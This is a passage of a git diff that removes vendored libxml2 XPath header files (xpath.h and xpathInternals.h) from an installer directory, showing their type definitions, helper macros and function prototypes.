XPATH_INVALID_PREDICATE_ERROR, - XPATH_EXPR_ERROR, - XPATH_UNCLOSED_ERROR, - XPATH_UNKNOWN_FUNC_ERROR, - XPATH_INVALID_OPERAND, - XPATH_INVALID_TYPE, - XPATH_INVALID_ARITY, - XPATH_INVALID_CTXT_SIZE, - XPATH_INVALID_CTXT_POSITION, - XPATH_MEMORY_ERROR, - XPTR_SYNTAX_ERROR, - XPTR_RESOURCE_ERROR, - XPTR_SUB_RESOURCE_ERROR, - XPATH_UNDEF_PREFIX_ERROR, - XPATH_ENCODING_ERROR, - XPATH_INVALID_CHAR_ERROR, - XPATH_INVALID_CTXT, - XPATH_STACK_ERROR, - XPATH_FORBID_VARIABLE_ERROR -} xmlXPathError; - -/* - * A node-set (an unordered collection of nodes without duplicates). - */ -typedef struct _xmlNodeSet xmlNodeSet; -typedef xmlNodeSet *xmlNodeSetPtr; -struct _xmlNodeSet { - int nodeNr; /* number of nodes in the set */ - int nodeMax; /* size of the array as allocated */ - xmlNodePtr *nodeTab; /* array of nodes in no particular order */ - /* @@ with_ns to check wether namespace nodes should be looked at @@ */ -}; - -/* - * An expression is evaluated to yield an object, which - * has one of the following four basic types: - * - node-set - * - boolean - * - number - * - string - * - * @@ XPointer will add more types ! - */ - -typedef enum { - XPATH_UNDEFINED = 0, - XPATH_NODESET = 1, - XPATH_BOOLEAN = 2, - XPATH_NUMBER = 3, - XPATH_STRING = 4, - XPATH_POINT = 5, - XPATH_RANGE = 6, - XPATH_LOCATIONSET = 7, - XPATH_USERS = 8, - XPATH_XSLT_TREE = 9 /* An XSLT value tree, non modifiable */ -} xmlXPathObjectType; - -typedef struct _xmlXPathObject xmlXPathObject; -typedef xmlXPathObject *xmlXPathObjectPtr; -struct _xmlXPathObject { - xmlXPathObjectType type; - xmlNodeSetPtr nodesetval; - int boolval; - double floatval; - xmlChar *stringval; - void *user; - int index; - void *user2; - int index2; -}; - -/** - * xmlXPathConvertFunc: - * @obj: an XPath object - * @type: the number of the target type - * - * A conversion function is associated to a type and used to cast - * the new type to primitive values. - * - * Returns -1 in case of error, 0 otherwise - */ -typedef int (*xmlXPathConvertFunc) (xmlXPathObjectPtr obj, int type); - -/* - * Extra type: a name and a conversion function. - */ - -typedef struct _xmlXPathType xmlXPathType; -typedef xmlXPathType *xmlXPathTypePtr; -struct _xmlXPathType { - const xmlChar *name; /* the type name */ - xmlXPathConvertFunc func; /* the conversion function */ -}; - -/* - * Extra variable: a name and a value. - */ - -typedef struct _xmlXPathVariable xmlXPathVariable; -typedef xmlXPathVariable *xmlXPathVariablePtr; -struct _xmlXPathVariable { - const xmlChar *name; /* the variable name */ - xmlXPathObjectPtr value; /* the value */ -}; - -/** - * xmlXPathEvalFunc: - * @ctxt: an XPath parser context - * @nargs: the number of arguments passed to the function - * - * An XPath evaluation function, the parameters are on the XPath context stack. - */ - -typedef void (*xmlXPathEvalFunc)(xmlXPathParserContextPtr ctxt, - int nargs); - -/* - * Extra function: a name and a evaluation function. - */ - -typedef struct _xmlXPathFunct xmlXPathFunct; -typedef xmlXPathFunct *xmlXPathFuncPtr; -struct _xmlXPathFunct { - const xmlChar *name; /* the function name */ - xmlXPathEvalFunc func; /* the evaluation function */ -}; - -/** - * xmlXPathAxisFunc: - * @ctxt: the XPath interpreter context - * @cur: the previous node being explored on that axis - * - * An axis traversal function. To traverse an axis, the engine calls - * the first time with cur == NULL and repeat until the function returns - * NULL indicating the end of the axis traversal. - * - * Returns the next node in that axis or NULL if at the end of the axis. - */ - -typedef xmlXPathObjectPtr (*xmlXPathAxisFunc) (xmlXPathParserContextPtr ctxt, - xmlXPathObjectPtr cur); - -/* - * Extra axis: a name and an axis function. - */ - -typedef struct _xmlXPathAxis xmlXPathAxis; -typedef xmlXPathAxis *xmlXPathAxisPtr; -struct _xmlXPathAxis { - const xmlChar *name; /* the axis name */ - xmlXPathAxisFunc func; /* the search function */ -}; - -/** - * xmlXPathFunction: - * @ctxt: the XPath interprestation context - * @nargs: the number of arguments - * - * An XPath function. - * The arguments (if any) are popped out from the context stack - * and the result is pushed on the stack. - */ - -typedef void (*xmlXPathFunction) (xmlXPathParserContextPtr ctxt, int nargs); - -/* - * Function and Variable Lookup. - */ - -/** - * xmlXPathVariableLookupFunc: - * @ctxt: an XPath context - * @name: name of the variable - * @ns_uri: the namespace name hosting this variable - * - * Prototype for callbacks used to plug variable lookup in the XPath - * engine. - * - * Returns the XPath object value or NULL if not found. - */ -typedef xmlXPathObjectPtr (*xmlXPathVariableLookupFunc) (void *ctxt, - const xmlChar *name, - const xmlChar *ns_uri); - -/** - * xmlXPathFuncLookupFunc: - * @ctxt: an XPath context - * @name: name of the function - * @ns_uri: the namespace name hosting this function - * - * Prototype for callbacks used to plug function lookup in the XPath - * engine. - * - * Returns the XPath function or NULL if not found. - */ -typedef xmlXPathFunction (*xmlXPathFuncLookupFunc) (void *ctxt, - const xmlChar *name, - const xmlChar *ns_uri); - -/** - * xmlXPathFlags: - * Flags for XPath engine compilation and runtime - */ -/** - * XML_XPATH_CHECKNS: - * - * check namespaces at compilation - */ -#define XML_XPATH_CHECKNS (1<<0) -/** - * XML_XPATH_NOVAR: - * - * forbid variables in expression - */ -#define XML_XPATH_NOVAR (1<<1) - -/** - * xmlXPathContext: - * - * Expression evaluation occurs with respect to a context. - * he context consists of: - * - a node (the context node) - * - a node list (the context node list) - * - a set of variable bindings - * - a function library - * - the set of namespace declarations in scope for the expression - * Following the switch to hash tables, this need to be trimmed up at - * the next binary incompatible release. - * The node may be modified when the context is passed to libxml2 - * for an XPath evaluation so you may need to initialize it again - * before the next call. - */ - -struct _xmlXPathContext { - xmlDocPtr doc; /* The current document */ - xmlNodePtr node; /* The current node */ - - int nb_variables_unused; /* unused (hash table) */ - int max_variables_unused; /* unused (hash table) */ - xmlHashTablePtr varHash; /* Hash table of defined variables */ - - int nb_types; /* number of defined types */ - int max_types; /* max number of types */ - xmlXPathTypePtr types; /* Array of defined types */ - - int nb_funcs_unused; /* unused (hash table) */ - int max_funcs_unused; /* unused (hash table) */ - xmlHashTablePtr funcHash; /* Hash table of defined funcs */ - - int nb_axis; /* number of defined axis */ - int max_axis; /* max number of axis */ - xmlXPathAxisPtr axis; /* Array of defined axis */ - - /* the namespace nodes of the context node */ - xmlNsPtr *namespaces; /* Array of namespaces */ - int nsNr; /* number of namespace in scope */ - void *user; /* function to free */ - - /* extra variables */ - int contextSize; /* the context size */ - int proximityPosition; /* the proximity position */ - - /* extra stuff for XPointer */ - int xptr; /* is this an XPointer context? */ - xmlNodePtr here; /* for here() */ - xmlNodePtr origin; /* for origin() */ - - /* the set of namespace declarations in scope for the expression */ - xmlHashTablePtr nsHash; /* The namespaces hash table */ - xmlXPathVariableLookupFunc varLookupFunc;/* variable lookup func */ - void *varLookupData; /* variable lookup data */ - - /* Possibility to link in an extra item */ - void *extra; /* needed for XSLT */ - - /* The function name and URI when calling a function */ - const xmlChar *function; - const xmlChar *functionURI; - - /* function lookup function and data */ - xmlXPathFuncLookupFunc funcLookupFunc;/* function lookup func */ - void *funcLookupData; /* function lookup data */ - - /* temporary namespace lists kept for walking the namespace axis */ - xmlNsPtr *tmpNsList; /* Array of namespaces */ - int tmpNsNr; /* number of namespaces in scope */ - - /* error reporting mechanism */ - void *userData; /* user specific data block */ - xmlStructuredErrorFunc error; /* the callback in case of errors */ - xmlError lastError; /* the last error */ - xmlNodePtr debugNode; /* the source node XSLT */ - - /* dictionary */ - xmlDictPtr dict; /* dictionary if any */ - - int flags; /* flags to control compilation */ - - /* Cache for reusal of XPath objects */ - void *cache; -}; - -/* - * The structure of a compiled expression form is not public. - */ - -typedef struct _xmlXPathCompExpr xmlXPathCompExpr; -typedef xmlXPathCompExpr *xmlXPathCompExprPtr; - -/** - * xmlXPathParserContext: - * - * An XPath parser context. It contains pure parsing informations, - * an xmlXPathContext, and the stack of objects. - */ -struct _xmlXPathParserContext { - const xmlChar *cur; /* the current char being parsed */ - const xmlChar *base; /* the full expression */ - - int error; /* error code */ - - xmlXPathContextPtr context; /* the evaluation context */ - xmlXPathObjectPtr value; /* the current value */ - int valueNr; /* number of values stacked */ - int valueMax; /* max number of values stacked */ - xmlXPathObjectPtr *valueTab; /* stack of values */ - - xmlXPathCompExprPtr comp; /* the precompiled expression */ - int xptr; /* it this an XPointer expression */ - xmlNodePtr ancestor; /* used for walking preceding axis */ - - int valueFrame; /* used to limit Pop on the stack */ -}; - -/************************************************************************ - * * - * Public API * - * * - ************************************************************************/ - -/** - * Objects and Nodesets handling - */ - -XMLPUBVAR double xmlXPathNAN; -XMLPUBVAR double xmlXPathPINF; -XMLPUBVAR double xmlXPathNINF; - -/* These macros may later turn into functions */ -/** - * xmlXPathNodeSetGetLength: - * @ns: a node-set - * - * Implement a functionality similar to the DOM NodeList.length. - * - * Returns the number of nodes in the node-set. - */ -#define xmlXPathNodeSetGetLength(ns) ((ns) ? (ns)->nodeNr : 0) -/** - * xmlXPathNodeSetItem: - * @ns: a node-set - * @index: index of a node in the set - * - * Implements a functionality similar to the DOM NodeList.item(). - * - * Returns the xmlNodePtr at the given @index in @ns or NULL if - * @index is out of range (0 to length-1) - */ -#define xmlXPathNodeSetItem(ns, index) \ - ((((ns) != NULL) && \ - ((index) >= 0) && ((index) < (ns)->nodeNr)) ? \ - (ns)->nodeTab[(index)] \ - : NULL) -/** - * xmlXPathNodeSetIsEmpty: - * @ns: a node-set - * - * Checks whether @ns is empty or not. - * - * Returns %TRUE if @ns is an empty node-set. - */ -#define xmlXPathNodeSetIsEmpty(ns) \ - (((ns) == NULL) || ((ns)->nodeNr == 0) || ((ns)->nodeTab == NULL)) - - -XMLPUBFUN void XMLCALL - xmlXPathFreeObject (xmlXPathObjectPtr obj); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathNodeSetCreate (xmlNodePtr val); -XMLPUBFUN void XMLCALL - xmlXPathFreeNodeSetList (xmlXPathObjectPtr obj); -XMLPUBFUN void XMLCALL - xmlXPathFreeNodeSet (xmlNodeSetPtr obj); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathObjectCopy (xmlXPathObjectPtr val); -XMLPUBFUN int XMLCALL - xmlXPathCmpNodes (xmlNodePtr node1, - xmlNodePtr node2); -/** - * Conversion functions to basic types. - */ -XMLPUBFUN int XMLCALL - xmlXPathCastNumberToBoolean (double val); -XMLPUBFUN int XMLCALL - xmlXPathCastStringToBoolean (const xmlChar * val); -XMLPUBFUN int XMLCALL - xmlXPathCastNodeSetToBoolean(xmlNodeSetPtr ns); -XMLPUBFUN int XMLCALL - xmlXPathCastToBoolean (xmlXPathObjectPtr val); - -XMLPUBFUN double XMLCALL - xmlXPathCastBooleanToNumber (int val); -XMLPUBFUN double XMLCALL - xmlXPathCastStringToNumber (const xmlChar * val); -XMLPUBFUN double XMLCALL - xmlXPathCastNodeToNumber (xmlNodePtr node); -XMLPUBFUN double XMLCALL - xmlXPathCastNodeSetToNumber (xmlNodeSetPtr ns); -XMLPUBFUN double XMLCALL - xmlXPathCastToNumber (xmlXPathObjectPtr val); - -XMLPUBFUN xmlChar * XMLCALL - xmlXPathCastBooleanToString (int val); -XMLPUBFUN xmlChar * XMLCALL - xmlXPathCastNumberToString (double val); -XMLPUBFUN xmlChar * XMLCALL - xmlXPathCastNodeToString (xmlNodePtr node); -XMLPUBFUN xmlChar * XMLCALL - xmlXPathCastNodeSetToString (xmlNodeSetPtr ns); -XMLPUBFUN xmlChar * XMLCALL - xmlXPathCastToString (xmlXPathObjectPtr val); - -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathConvertBoolean (xmlXPathObjectPtr val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathConvertNumber (xmlXPathObjectPtr val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathConvertString (xmlXPathObjectPtr val); - -/** - * Context handling. - */ -XMLPUBFUN xmlXPathContextPtr XMLCALL - xmlXPathNewContext (xmlDocPtr doc); -XMLPUBFUN void XMLCALL - xmlXPathFreeContext (xmlXPathContextPtr ctxt); -XMLPUBFUN int XMLCALL - xmlXPathContextSetCache(xmlXPathContextPtr ctxt, - int active, - int value, - int options); -/** - * Evaluation functions. - */ -XMLPUBFUN long XMLCALL - xmlXPathOrderDocElems (xmlDocPtr doc); -XMLPUBFUN int XMLCALL - xmlXPathSetContextNode (xmlNodePtr node, - xmlXPathContextPtr ctx); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathNodeEval (xmlNodePtr node, - const xmlChar *str, - xmlXPathContextPtr ctx); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathEval (const xmlChar *str, - xmlXPathContextPtr ctx); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathEvalExpression (const xmlChar *str, - xmlXPathContextPtr ctxt); -XMLPUBFUN int XMLCALL - xmlXPathEvalPredicate (xmlXPathContextPtr ctxt, - xmlXPathObjectPtr res); -/** - * Separate compilation/evaluation entry points. - */ -XMLPUBFUN xmlXPathCompExprPtr XMLCALL - xmlXPathCompile (const xmlChar *str); -XMLPUBFUN xmlXPathCompExprPtr XMLCALL - xmlXPathCtxtCompile (xmlXPathContextPtr ctxt, - const xmlChar *str); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathCompiledEval (xmlXPathCompExprPtr comp, - xmlXPathContextPtr ctx); -XMLPUBFUN int XMLCALL - xmlXPathCompiledEvalToBoolean(xmlXPathCompExprPtr comp, - xmlXPathContextPtr ctxt); -XMLPUBFUN void XMLCALL - xmlXPathFreeCompExpr (xmlXPathCompExprPtr comp); -#endif /* LIBXML_XPATH_ENABLED */ -#if defined(LIBXML_XPATH_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) -XMLPUBFUN void XMLCALL - xmlXPathInit (void); -XMLPUBFUN int XMLCALL - xmlXPathIsNaN (double val); -XMLPUBFUN int XMLCALL - xmlXPathIsInf (double val); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_XPATH_ENABLED or LIBXML_SCHEMAS_ENABLED*/ -#endif /* ! __XML_XPATH_H__ */ diff --git a/installer/libxml2/include/libxml/xpathInternals.h b/installer/libxml2/include/libxml/xpathInternals.h deleted file mode 100644 index 76a6b48..0000000 --- a/installer/libxml2/include/libxml/xpathInternals.h +++ /dev/null @@ -1,632 +0,0 @@ -/* - * Summary: internal interfaces for XML Path Language implementation - * Description: internal interfaces for XML Path Language implementation - * used to build new modules on top of XPath like XPointer and - * XSLT - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_XPATH_INTERNALS_H__ -#define __XML_XPATH_INTERNALS_H__ - -#include -#include - -#ifdef LIBXML_XPATH_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -/************************************************************************ - * * - * Helpers * - * * - ************************************************************************/ - -/* - * Many of these macros may later turn into functions. They - * shouldn't be used in #ifdef's preprocessor instructions. - */ -/** - * xmlXPathSetError: - * @ctxt: an XPath parser context - * @err: an xmlXPathError code - * - * Raises an error. - */ -#define xmlXPathSetError(ctxt, err) \ - { xmlXPatherror((ctxt), __FILE__, __LINE__, (err)); \ - if ((ctxt) != NULL) (ctxt)->error = (err); } - -/** - * xmlXPathSetArityError: - * @ctxt: an XPath parser context - * - * Raises an XPATH_INVALID_ARITY error. - */ -#define xmlXPathSetArityError(ctxt) \ - xmlXPathSetError((ctxt), XPATH_INVALID_ARITY) - -/** - * xmlXPathSetTypeError: - * @ctxt: an XPath parser context - * - * Raises an XPATH_INVALID_TYPE error. - */ -#define xmlXPathSetTypeError(ctxt) \ - xmlXPathSetError((ctxt), XPATH_INVALID_TYPE) - -/** - * xmlXPathGetError: - * @ctxt: an XPath parser context - * - * Get the error code of an XPath context. - * - * Returns the context error. - */ -#define xmlXPathGetError(ctxt) ((ctxt)->error) - -/** - * xmlXPathCheckError: - * @ctxt: an XPath parser context - * - * Check if an XPath error was raised. - * - * Returns true if an error has been raised, false otherwise. - */ -#define xmlXPathCheckError(ctxt) ((ctxt)->error != XPATH_EXPRESSION_OK) - -/** - * xmlXPathGetDocument: - * @ctxt: an XPath parser context - * - * Get the document of an XPath context. - * - * Returns the context document. - */ -#define xmlXPathGetDocument(ctxt) ((ctxt)->context->doc) - -/** - * xmlXPathGetContextNode: - * @ctxt: an XPath parser context - * - * Get the context node of an XPath context. - * - * Returns the context node. - */ -#define xmlXPathGetContextNode(ctxt) ((ctxt)->context->node) - -XMLPUBFUN int XMLCALL - xmlXPathPopBoolean (xmlXPathParserContextPtr ctxt); -XMLPUBFUN double XMLCALL - xmlXPathPopNumber (xmlXPathParserContextPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlXPathPopString (xmlXPathParserContextPtr ctxt); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathPopNodeSet (xmlXPathParserContextPtr ctxt); -XMLPUBFUN void * XMLCALL - xmlXPathPopExternal (xmlXPathParserContextPtr ctxt); - -/** - * xmlXPathReturnBoolean: - * @ctxt: an XPath parser context - * @val: a boolean - * - * Pushes the boolean @val on the context stack. - */ -#define xmlXPathReturnBoolean(ctxt, val) \ - valuePush((ctxt), xmlXPathNewBoolean(val)) - -/** - * xmlXPathReturnTrue: - * @ctxt: an XPath parser context - * - * Pushes true on the context stack. - */ -#define xmlXPathReturnTrue(ctxt) xmlXPathReturnBoolean((ctxt), 1) - -/** - * xmlXPathReturnFalse: - * @ctxt: an XPath parser context - * - * Pushes false on the context stack. - */ -#define xmlXPathReturnFalse(ctxt) xmlXPathReturnBoolean((ctxt), 0) - -/** - * xmlXPathReturnNumber: - * @ctxt: an XPath parser context - * @val: a double - * - * Pushes the double @val on the context stack. - */ -#define xmlXPathReturnNumber(ctxt, val) \ - valuePush((ctxt), xmlXPathNewFloat(val)) - -/** - * xmlXPathReturnString: - * @ctxt: an XPath parser context - * @str: a string - * - * Pushes the string @str on the context stack. - */ -#define xmlXPathReturnString(ctxt, str) \ - valuePush((ctxt), xmlXPathWrapString(str)) - -/** - * xmlXPathReturnEmptyString: - * @ctxt: an XPath parser context - * - * Pushes an empty string on the stack. - */ -#define xmlXPathReturnEmptyString(ctxt) \ - valuePush((ctxt), xmlXPathNewCString("")) - -/** - * xmlXPathReturnNodeSet: - * @ctxt: an XPath parser context - * @ns: a node-set - * - * Pushes the node-set @ns on the context stack. - */ -#define xmlXPathReturnNodeSet(ctxt, ns) \ - valuePush((ctxt), xmlXPathWrapNodeSet(ns)) - -/** - * xmlXPathReturnEmptyNodeSet: - * @ctxt: an XPath parser context - * - * Pushes an empty node-set on the context stack. - */ -#define xmlXPathReturnEmptyNodeSet(ctxt) \ - valuePush((ctxt), xmlXPathNewNodeSet(NULL)) - -/** - * xmlXPathReturnExternal: - * @ctxt: an XPath parser context - * @val: user data - * - * Pushes user data on the context stack. - */ -#define xmlXPathReturnExternal(ctxt, val) \ - valuePush((ctxt), xmlXPathWrapExternal(val)) - -/** - * xmlXPathStackIsNodeSet: - * @ctxt: an XPath parser context - * - * Check if the current value on the XPath stack is a node set or - * an XSLT value tree. - * - * Returns true if the current object on the stack is a node-set. - */ -#define xmlXPathStackIsNodeSet(ctxt) \ - (((ctxt)->value != NULL) \ - && (((ctxt)->value->type == XPATH_NODESET) \ - || ((ctxt)->value->type == XPATH_XSLT_TREE))) - -/** - * xmlXPathStackIsExternal: - * @ctxt: an XPath parser context - * - * Checks if the current value on the XPath stack is an external - * object. - * - * Returns true if the current object on the stack is an external - * object. - */ -#define xmlXPathStackIsExternal(ctxt) \ - ((ctxt->value != NULL) && (ctxt->value->type == XPATH_USERS)) - -/** - * xmlXPathEmptyNodeSet: - * @ns: a node-set - * - * Empties a node-set. - */ -#define xmlXPathEmptyNodeSet(ns) \ - { while ((ns)->nodeNr > 0) (ns)->nodeTab[--(ns)->nodeNr] = NULL; } - -/** - * CHECK_ERROR: - * - * Macro to return from the function if an XPath error was detected. - */ -#define CHECK_ERROR \ - if (ctxt->error != XPATH_EXPRESSION_OK) return - -/** - * CHECK_ERROR0: - * - * Macro to return 0 from the function if an XPath error was detected. - */ -#define CHECK_ERROR0 \ - if (ctxt->error != XPATH_EXPRESSION_OK) return(0) - -/** - * XP_ERROR: - * @X: the error code - * - * Macro to raise an XPath error and return. - */ -#define XP_ERROR(X) \ - { xmlXPathErr(ctxt, X); return; } - -/** - * XP_ERROR0: - * @X: the error code - * - * Macro to raise an XPath error and return 0. - */ -#define XP_ERROR0(X) \ - { xmlXPathErr(ctxt, X); return(0); } - -/** - * CHECK_TYPE: - * @typeval: the XPath type - * - * Macro to check that the value on top of the XPath stack is of a given - * type. - */ -#define CHECK_TYPE(typeval) \ - if ((ctxt->value == NULL) || (ctxt->value->type != typeval)) \ - XP_ERROR(XPATH_INVALID_TYPE) - -/** - * CHECK_TYPE0: - * @typeval: the XPath type - * - * Macro to check that the value on top of the XPath stack is of a given - * type. Return(0) in case of failure - */ -#define CHECK_TYPE0(typeval) \ - if ((ctxt->value == NULL) || (ctxt->value->type != typeval)) \ - XP_ERROR0(XPATH_INVALID_TYPE) - -/** - * CHECK_ARITY: - * @x: the number of expected args - * - * Macro to check that the number of args passed to an XPath function matches. - */ -#define CHECK_ARITY(x) \ - if (ctxt == NULL) return; \ - if (nargs != (x)) \ - XP_ERROR(XPATH_INVALID_ARITY); \ - if (ctxt->valueNr < ctxt->valueFrame + (x)) \ - XP_ERROR(XPATH_STACK_ERROR); - -/** - * CAST_TO_STRING: - * - * Macro to try to cast the value on the top of the XPath stack to a string. - */ -#define CAST_TO_STRING \ - if ((ctxt->value != NULL) && (ctxt->value->type != XPATH_STRING)) \ - xmlXPathStringFunction(ctxt, 1); - -/** - * CAST_TO_NUMBER: - * - * Macro to try to cast the value on the top of the XPath stack to a number. - */ -#define CAST_TO_NUMBER \ - if ((ctxt->value != NULL) && (ctxt->value->type != XPATH_NUMBER)) \ - xmlXPathNumberFunction(ctxt, 1); - -/** - * CAST_TO_BOOLEAN: - * - * Macro to try to cast the value on the top of the XPath stack to a boolean. - */ -#define CAST_TO_BOOLEAN \ - if ((ctxt->value != NULL) && (ctxt->value->type != XPATH_BOOLEAN)) \ - xmlXPathBooleanFunction(ctxt, 1); - -/* - * Variable Lookup forwarding. - */ - -XMLPUBFUN void XMLCALL - xmlXPathRegisterVariableLookup (xmlXPathContextPtr ctxt, - xmlXPathVariableLookupFunc f, - void *data); - -/* - * Function Lookup forwarding. - */ - -XMLPUBFUN void XMLCALL - xmlXPathRegisterFuncLookup (xmlXPathContextPtr ctxt, - xmlXPathFuncLookupFunc f, - void *funcCtxt); - -/* - * Error reporting. - */ -XMLPUBFUN void XMLCALL - xmlXPatherror (xmlXPathParserContextPtr ctxt, - const char *file, - int line, - int no); - -XMLPUBFUN void XMLCALL - xmlXPathErr (xmlXPathParserContextPtr ctxt, - int error); - -#ifdef LIBXML_DEBUG_ENABLED -XMLPUBFUN void XMLCALL - xmlXPathDebugDumpObject (FILE *output, - xmlXPathObjectPtr cur, - int depth); -XMLPUBFUN void XMLCALL - xmlXPathDebugDumpCompExpr(FILE *output, - xmlXPathCompExprPtr comp, - int depth); -#endif -/** - * NodeSet handling. - */ -XMLPUBFUN int XMLCALL - xmlXPathNodeSetContains (xmlNodeSetPtr cur, - xmlNodePtr val); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathDifference (xmlNodeSetPtr nodes1, - xmlNodeSetPtr nodes2); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathIntersection (xmlNodeSetPtr nodes1, - xmlNodeSetPtr nodes2); - -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathDistinctSorted (xmlNodeSetPtr nodes); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathDistinct (xmlNodeSetPtr nodes); - -XMLPUBFUN int XMLCALL - xmlXPathHasSameNodes (xmlNodeSetPtr nodes1, - xmlNodeSetPtr nodes2); - -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathNodeLeadingSorted (xmlNodeSetPtr nodes, - xmlNodePtr node); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathLeadingSorted (xmlNodeSetPtr nodes1, - xmlNodeSetPtr nodes2); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathNodeLeading (xmlNodeSetPtr nodes, - xmlNodePtr node); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathLeading (xmlNodeSetPtr nodes1, - xmlNodeSetPtr nodes2); - -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathNodeTrailingSorted (xmlNodeSetPtr nodes, - xmlNodePtr node); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathTrailingSorted (xmlNodeSetPtr nodes1, - xmlNodeSetPtr nodes2); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathNodeTrailing (xmlNodeSetPtr nodes, - xmlNodePtr node); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathTrailing (xmlNodeSetPtr nodes1, - xmlNodeSetPtr nodes2); - - -/** - * Extending a context. - */ - -XMLPUBFUN int XMLCALL - xmlXPathRegisterNs (xmlXPathContextPtr ctxt, - const xmlChar *prefix, - const xmlChar *ns_uri); -XMLPUBFUN const xmlChar * XMLCALL - xmlXPathNsLookup (xmlXPathContextPtr ctxt, - const xmlChar *prefix); -XMLPUBFUN void XMLCALL - xmlXPathRegisteredNsCleanup (xmlXPathContextPtr ctxt); - -XMLPUBFUN int XMLCALL - xmlXPathRegisterFunc (xmlXPathContextPtr ctxt, - const xmlChar *name, - xmlXPathFunction f); -XMLPUBFUN int XMLCALL - xmlXPathRegisterFuncNS (xmlXPathContextPtr ctxt, - const xmlChar *name, - const xmlChar *ns_uri, - xmlXPathFunction f); -XMLPUBFUN int XMLCALL - xmlXPathRegisterVariable (xmlXPathContextPtr ctxt, - const xmlChar *name, - xmlXPathObjectPtr value); -XMLPUBFUN int XMLCALL - xmlXPathRegisterVariableNS (xmlXPathContextPtr ctxt, - const xmlChar *name, - const xmlChar *ns_uri, - xmlXPathObjectPtr value); -XMLPUBFUN xmlXPathFunction XMLCALL - xmlXPathFunctionLookup (xmlXPathContextPtr ctxt, - const xmlChar *name); -XMLPUBFUN xmlXPathFunction XMLCALL - xmlXPathFunctionLookupNS (xmlXPathContextPtr ctxt, - const xmlChar *name, - const xmlChar *ns_uri); -XMLPUBFUN void XMLCALL - xmlXPathRegisteredFuncsCleanup (xmlXPathContextPtr ctxt); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathVariableLookup (xmlXPathContextPtr ctxt, - const xmlChar *name); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathVariableLookupNS (xmlXPathContextPtr ctxt, - const xmlChar *name, - const xmlChar *ns_uri); -XMLPUBFUN void XMLCALL - xmlXPathRegisteredVariablesCleanup(xmlXPathContextPtr ctxt); - -/** - * Utilities to extend XPath. - */ -XMLPUBFUN xmlXPathParserContextPtr XMLCALL - xmlXPathNewParserContext (const xmlChar *str, - xmlXPathContextPtr ctxt); -XMLPUBFUN void XMLCALL - xmlXPathFreeParserContext (xmlXPathParserContextPtr ctxt); - -/* TODO: remap to xmlXPathValuePop and Push. */ -XMLPUBFUN xmlXPathObjectPtr XMLCALL - valuePop (xmlXPathParserContextPtr ctxt); -XMLPUBFUN int XMLCALL - valuePush (xmlXPathParserContextPtr ctxt, - xmlXPathObjectPtr value); - -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathNewString (const xmlChar *val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathNewCString (const char *val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathWrapString (xmlChar *val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathWrapCString (char * val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathNewFloat (double val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathNewBoolean (int val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathNewNodeSet (xmlNodePtr val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathNewValueTree (xmlNodePtr val); -XMLPUBFUN int XMLCALL - xmlXPathNodeSetAdd (xmlNodeSetPtr cur, - xmlNodePtr val); -XMLPUBFUN int XMLCALL - xmlXPathNodeSetAddUnique (xmlNodeSetPtr cur, - xmlNodePtr val); -XMLPUBFUN int XMLCALL - xmlXPathNodeSetAddNs (xmlNodeSetPtr cur, - xmlNodePtr node, - xmlNsPtr ns); -XMLPUBFUN void XMLCALL - xmlXPathNodeSetSort (xmlNodeSetPtr set); - -XMLPUBFUN void XMLCALL - xmlXPathRoot (xmlXPathParserContextPtr ctxt); -XMLPUBFUN void XMLCALL - xmlXPathEvalExpr (xmlXPathParserContextPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlXPathParseName (xmlXPathParserContextPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlXPathParseNCName (xmlXPathParserContextPtr ctxt); - -/* - * Existing functions. - */ -XMLPUBFUN double XMLCALL - xmlXPathStringEvalNumber (const xmlChar *str); -XMLPUBFUN int XMLCALL - xmlXPathEvaluatePredicateResult (xmlXPathParserContextPtr ctxt, - xmlXPathObjectPtr res); -XMLPUBFUN void XMLCALL - xmlXPathRegisterAllFunctions (xmlXPathContextPtr ctxt); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathNodeSetMerge (xmlNodeSetPtr val1, - xmlNodeSetPtr val2); -XMLPUBFUN void XMLCALL - xmlXPathNodeSetDel (xmlNodeSetPtr cur, - xmlNodePtr val); 